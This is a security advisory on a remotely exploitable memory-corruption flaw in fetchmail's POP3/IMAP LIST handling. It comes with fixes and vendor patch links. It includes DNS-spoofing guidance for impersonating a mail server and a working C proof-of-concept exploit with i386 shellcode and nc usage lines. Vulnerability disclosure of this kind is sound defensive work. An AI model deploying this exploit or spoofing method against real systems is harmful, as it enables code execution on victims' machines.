COMMAND
fetchmail
SYSTEMS AFFECTED
Probably all the fetchmail versions prior (not including) 5.8.17
PROBLEM
Following is based on a Fetchmail advisory. In a security
auditing Salvatore Sanfilippo found two remotly explotiable memory
corruption problems. The bug, that is similar in the file pop3.c
and imap.c, allows an attacker to 'poke' arbitrary memory
addresses with 32 bit data, so you can write what you want in
memory.
Protections like stackguard WITHOUT the xor-canary active will
not be effective against this problem. To exploit the problem
you need to impersonate the server, so the attacker can be the
server itself or, faking the DNS resolver, some other attacker.
See the last section of this document about DNS forgery
information.
The attacker can execute arbitrary code in your system, both if
fetchmail is running as user or as root. If the attacker is able
to fake your DNS resolver or your DNS server it can take control
of your system even without to take control of one of your
POP3/IMAP servers.
This is the relevant portion of code affected (pop3.c):
static int pop3_getsizes(int sock, int count, int *sizes)
[snip]
while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0)
{
int num, size;
if (DOTLINE(buf))
break;
else if (sscanf(buf, "%d %d", &num, &size) == 2)
sizes[num - 1] = size;
}
[snip]
The problem is just the same in the file imap.c, see yourself.
As you can see you can pass two integers, num and size. The
first is your offset, the second the 32bit value you want to
write in the memory location.
You can provide negative and positive offsets (num) so you can
write both before and after the address of the 'sizes' pointer.
To write you should simulate the POP3 session, wainting for the
LIST command. Than issue a fake LIST response. The following is
part of the output of the exploit you can find attached:
+OK (banner)
+OK (user)
+OK (password)
+OK 10 0 (stat)
+OK 0 (last)
+OK (list)
-30 -1431655766 (first line of the list output)
-29 -1431655766 (second line ...)
[snip]
.
The 'sizes' buffer is stack allocated (with alloca()), and
is the number of messages in the STAT response * sizeof(int) so
you can request a piece of memory to put your shellcode, you can
also put it in some static buffer (try grep 'static char' *.c) to
exploit in a more portable way.
Note that alloca() used where you can get a big 'size' argument
isn't a big idea. You can also crash fetchmail just providing a
very big response to STAT.
The exploit may be used without to take the control of the
POP/IMAP server if you are able to spoof a DNS packet with the
right destination port and query ID. This is quite hard but not
impossible, and it is strictly related to the resolver library
the victim is using.
DNS forgery against software like fetchmail will probably be
simpler than against other software since in daemon mode
fetchmail polls the mailbox with a fixed period, and resolves the
name every time it polls. You have a lot of try.
As stated, this issue is related to the libc, not to fetchmail
itself, but a weak libc resolving rutine will help a lot the
attacker. In the case of glibc 2.x you should guess the following
stuff: pid, seconds, useconds, source port, query time, DNS
server ip address. [with glibc, the ID is computed using
something like (PID xor USEC xor SEC)]
pid: you can try the whole pid space, or a subset assuming
fetchmail in daemon mode running with a pid in the range 1-500 or
so.
seconds, useconds: you can use ICMP timestamp to syncronize, this
may reduce your 2^16 ID space a lot.
source port: we never tested this but maybe sending UDP packets
to different ports you may be able to guess high ports that are
open by the DNS resolver, to do this you need to send this UDP
packets spoofed from the victim DNS server than try to see the IP
ID sequence. It isn't trivial but may work. Someone on the list
known something of better?
query time: With fetchmail is quite simple, you can try to send
your fake DNS responses without to stop, waiting (hoping) for a
natural syncronization with the query time. This will only work
with fetchmail in daemon mode, and will work better if the poll
time is short. Of course the IP ID will help you a lot of the
host is in idle.
As you can guess, if you can't fake the DNS you can anyway exploit
fetchmail if you are on the server side, and your security
is the minium of the security of all your POP/IMAP servers.
An example exploit is attached to this mail, it is poorly
written but should be enough to prove the fetchmail vulnerability.
You will probably need to joke with offsets to make it working
on your system.
/* fetchmail proof of concepts i386 exploit
* Copyright (C) 2001 Salvatore Sanfilippo <antirez@invece.org>
* Code under the GPL license.
*
* Usage: ./a.out | nc -l -p 3333
* fetchmail localhost -P 3333 -p POP3
*
* This is a bad exploit with offset carefully selected
* to work in my own system. It will probably not work in
* your system if you don't modify RETR_OFFSET and SHELL_PTR,
* but you may try to set the SHELL_PTR to 0xAAAAAAAA
* and use gdb to obtain the proof that your fetchmail is vulnerable
* without to exploit it.
* Or just read the code in pop3.c.
*
* To improve the exploit portability you may put the shellcode inside
* one of the static char buffers, grep 'static char' *.c.
*
* Tested on fetchmail 5.8.15 running on Linux 2.4.6
*
* On success you should see the ls output.
*/
#include <stdio.h>
#define MESSAGES 10
#define RETR_OFFSET -20
#define SHELL_PTR 0xbfffba94
int main(void)
{
int ish = SHELL_PTR;
int ret_offset = -10;
char shellcode[] = /* take the shellcode multiple of 4 in size */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/ls\0\0";
int *sc = (int*) shellcode;
int noop = 0x90909090;
int i;
/* +OK for user and password, than report the number of messages */
printf("+OK\r\n+OK\r\n+OK\r\n+OK %d 0\r\n+OK 0\r\n+OK\r\n", MESSAGES);
/* Overwrite the RET pointer */
for (i = ret_offset-20; i < ret_offset+20; i++)
printf("%d %d\r\n", i, ish);
/* Put some NOP */
for (i = 1; i < 21; i++)
printf("%d %d\r\n", i, noop);
/* Put the shell code in the buffer */
for (i = 21; i < 21+(sizeof(shellcode)/4); i++)
printf("%d %d\r\n", i, *sc++);
printf(".\r\n"); /* POP data term */
return 0;
}
SOLUTION
Fetchmail should use %u %u instead of %d %d as scanf format
string, than do a sanity check about the message number the
server provide in the LIST response lines and in the STAT
response.
Note that Debian fetchmail 5.8.16-1 already includes the
suggested fix. Anyway:
http://security.debian.org/dists/stable/updates/main/source/fetchmail_5.3.3-3.diff.gz
http://security.debian.org/dists/stable/updates/main/source/fetchmail_5.3.3-3.dsc
http://security.debian.org/dists/stable/updates/main/source/fetchmail_5.3.3.orig.tar.gz
http://security.debian.org/dists/stable/updates/main/binary-all/fetchmailconf_5.3.3-3_all.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/fetchmail_5.3.3-3_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/fetchmail_5.3.3-3_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-i386/fetchmail_5.3.3-3_i386.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/fetchmail_5.3.3-3_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-powerpc/fetchmail_5.3.3-3_powerpc.deb
http://security.debian.org/dists/stable/updates/main/binary-sparc/fetchmail_5.3.3-3_sparc.deb
For SuSE:
ftp://ftp.suse.com/pub/suse/i386/update/7.2/n1/fetchmail-5.8.0-48.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/fetchmail-5.8.0-48.src.rpm
ftp://ftp.suse.com/pub/suse/i386/update/7.1/n1/fetchmail-5.6.5-27.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/7.1/n2/fetchmailconf-5.6.5-0.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/fetchmail-5.6.5-27.src.rpm
ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/fetchml-5.4.0-3.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/fetchml-5.4.0-3.src.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.4/n1/fetchml-5.3.0-3.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/fetchml-5.3.0-3.src.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/fetchml-5.1.2-7.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/fetchml-5.1.2-7.src.rpm
ftp://ftp.suse.com/pub/suse/sparc/update/7.1/n1/fetchmail-5.6.5-12.sparc.rpm
ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/fetchmail-5.6.5-12.src.rpm
ftp://ftp.suse.com/pub/suse/sparc/update/7.0/n1/fetchml-5.4.0-3.sparc.rpm
ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/fetchml-5.4.0-3.src.rpm
ftp://ftp.suse.com/pub/suse/axp/update/7.1/n1/fetchmail-5.6.5-16.alpha.rpm
ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/fetchmail-5.6.5-16.src.rpm
ftp://ftp.suse.com/pub/suse/axp/update/7.0/n1/fetchml-5.4.0-3.alpha.rpm
ftp://ftp.suse.com/pub/suse/axp/update/7.0/zq1/fetchml-5.4.0-3.src.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.4/n1/fetchml-5.3.0-3.alpha.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/fetchml-5.3.0-3.src.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.3/n1/fetchml-5.1.2-4.alpha.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/fetchml-5.1.2-4.src.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n1/fetchmail-5.6.5-16.ppc.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/fetchmail-5.6.5-16.src.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n1/fetchml-5.4.0-3.ppc.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/fetchml-5.4.0-3.src.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/6.4/n1/fetchml-5.3.0-3.ppc.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/fetchml-5.3.0-3.src.rpm
For EnGarde Secure Linux:
ftp://ftp.engardelinux.org/pub/engarde/stable/updates/
http://ftp.engardelinux.org/pub/engarde/stable/updates/
SRPMS/fetchmail-ssl-5.8.17-1.0.3.src.rpm
i386/fetchmail-ssl-5.8.17-1.0.3.i386.rpm
i686/fetchmail-ssl-5.8.17-1.0.3.i686.rpm
The fetchmail author helped a lot fixing the issue ASAP. This
advisory was sent to bugtraq only after the fixed version of
fetchmail (5.8.17) was available at
http://www.tuxedo.org/~esr/fetchmail/